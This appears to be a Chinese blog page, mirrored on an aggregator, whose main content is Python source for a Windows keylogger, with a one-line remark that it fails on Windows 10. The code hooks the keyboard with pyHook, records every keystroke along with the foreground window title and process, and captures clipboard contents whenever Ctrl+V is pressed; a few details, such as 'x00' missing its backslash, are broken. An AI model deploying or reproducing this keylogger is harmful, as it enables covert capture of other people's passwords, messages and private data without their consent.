zoukankan      html  css  js  c++  java
  • win10 下获取不到

    from ctypes import *
    import pythoncom
    import pyHook
    import win32clipboard

    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None

    #
    def get_current_process():

    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))

    # 将进程ID存入变量中
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    # 读取窗口标题
    windows_title = create_string_buffer("x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

    # 打印
    print(windows_title.value)
    print ("[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value))

    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

    # 定义击键监听事件函数
    def KeyStroke(event):

    global current_window

    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
    current_window = event.WindowName
    # 函数调用
    get_current_process()

    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
    print (chr(event.Ascii))
    else:
    # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
    if event.Key == "V":
    win32clipboard.OpenClipboard()
    pasted_value = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()
    print ("[PASTE]-%s" % (pasted_value))
    else:
    print ("[%s]" % event.Key)
    # 循环监听下一个击键事件
    return True

    # 创建并注册hook管理器
    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke

    # 注册hook并执行
    kl.HookKeyboard()
    pythoncom.PumpMessages()
  • 相关阅读:
    关于表单的jQuery练习
    jQuery中的综合动画
    jQuery中自定义简单动画的实现
    清除浮动
    定位
    盒子模型
    笔记
    笔记
    翻页
    DOM
  • 原文地址:https://www.cnblogs.com/wudeng/p/9810526.html
Copyright © 2011-2022 走看看